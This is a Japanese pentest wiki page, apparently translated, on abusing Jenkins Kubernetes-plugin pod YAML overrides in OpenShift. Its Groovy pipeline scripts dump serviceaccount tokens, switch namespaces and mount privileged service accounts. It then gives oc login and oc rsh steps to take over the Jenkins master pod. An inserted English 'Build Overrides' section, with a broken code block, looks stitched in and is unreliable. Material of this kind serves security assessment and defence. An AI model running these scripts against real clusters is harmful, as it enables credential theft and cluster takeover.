OpenShift - Jenkins Build Pod Override

このページの元の著者は Fares

Jenkins用のKubernetesプラグイン

このプラグインは、Openshift/kubernetesクラスター内のJenkinsコア機能のほとんどを担当しています。公式ドキュメントはこちら 開発者がJenkinsビルドポッドの一部デフォルト構成をオーバーライドする能力など、いくつかの機能を提供します。

コア機能

このプラグインは、適切な環境でコードをビルドする際に開発者に柔軟性を提供します。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

ポッドyamlオーバーライドを活用したいくつかの悪用

ただし、Kali Linuxなどのアクセス可能なイメージを使用して、そのイメージに含まれるツールを使用して任意のコマンドを実行するために悪用される可能性があります。 以下の例では、実行中のポッドのserviceaccountトークンを外部に流出させることができます。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
## OpenShift Jenkins Build Overrides

### Build Configuration

1. Navigate to the Jenkins web interface.
2. Click on the project you want to work on.
3. Click on the `Builds` tab.
4. Click on the build configuration you want to override.
5. Click on `Configure`.
6. Scroll down to the `Build Overrides` section.

### Override Build Configuration

You can override the build configuration by adding a `BuildConfig` resource to the project's namespace with the same name as the Jenkins build configuration you want to override.

Example:

```yaml
apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
  name: <jenkins-build-configuration-name>
  namespace: <project-namespace>

Replace <jenkins-build-configuration-name> with the name of the Jenkins build configuration you want to override, and <project-namespace> with the namespace of the project.

Triggering the Override

After adding the BuildConfig resource, OpenShift will automatically detect the override and apply it to the Jenkins build configuration.

Note

Make sure to carefully review and test the changes before applying overrides to avoid any unintended consequences.

```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

サンプルは、ポッドの名前空間をオーバーライドする方法です。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

別の例として、サービスアカウントをマウントしようとするものがあります(これにより、ビルドを実行するデフォルトのものよりも権限が多い場合があります)。サービスアカウントの名前に基づいています。最初に既存のサービスアカウントを推測したり列挙する必要があります。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

同じ手法がSecretをマウントしようとする場合に適用されます。ここでの最終目標は、ポッドビルドを効果的にピボットさせたり特権を取得する方法を見つけることです。

更に進む

それを使いこなすと、JenkinsとKubernetes/Openshiftに関する知識を活用して、設定ミスや悪用を見つけることができます。

以下の質問を自問してください:

  • ビルドポッドを展開するために使用されているサービスアカウントは何ですか?

  • どのような役割と権限がありますか?現在いる名前空間のシークレットを読むことができますか?

  • 他のビルドポッドをさらに列挙できますか?

  • 侵害されたsaから、マスターノード/ポッドでコマンドを実行できますか?

  • クラスタをさらに列挙して他の場所にピボットできますか?

  • 適用されているSCCは何ですか?

どのoc/kubectlコマンドを発行すればよいかは、こちらこちらで確認できます。

可能な昇格/ピボットシナリオ

アセスメント中に、すべてのjenkinsビルドが「worker-ns」という名前空間内で実行されることがわかりました。デフォルトのサービスアカウントである「default-sa」がビルドポッドにマウントされていることがわかりましたが、いくつかのリソースに対する読み取りアクセス以外の権限はほとんど持っていないことがわかりましたが、「master-sa」という既存のサービスアカウントを特定できました。 また、実行中のビルドコンテナ内にocコマンドがインストールされていると仮定しましょう。

以下のビルドスクリプトを使用すると、_master-sa_サービスアカウントを制御し、さらに列挙することができます。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

侵入権限に応じて、攻撃をビルドスクリプトから継続する必要があるか、実行中のクラスターでこのsaとして直接ログインできます:

oc login --token=$token --server=https://apiserver.com:port

もしこのサービスアカウントに十分な権限(例:pod/execなど)がある場合、同じネームスペース内で実行されている場合、マスターノードのポッド内でコマンドを実行することで、Jenkinsインスタンス全体を制御することもできます。このポッドは、その名前と、Jenkinsデータを保存するために使用されるPVC(永続ボリュームクレーム)をマウントしている必要があるという事実によって簡単に特定できます。

oc rsh pod_name -c container_name

マスターノードポッドがワーカーと同じ名前空間内で実行されていない場合は、マスター名前空間をターゲットにして同様の攻撃を試すことができます。ここでは、その名前を jenkins-master とします。jenkins-master 名前空間には、serviceAccount master-sa が存在する必要があることに注意してください(worker-ns 名前空間には存在しない場合があります)。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated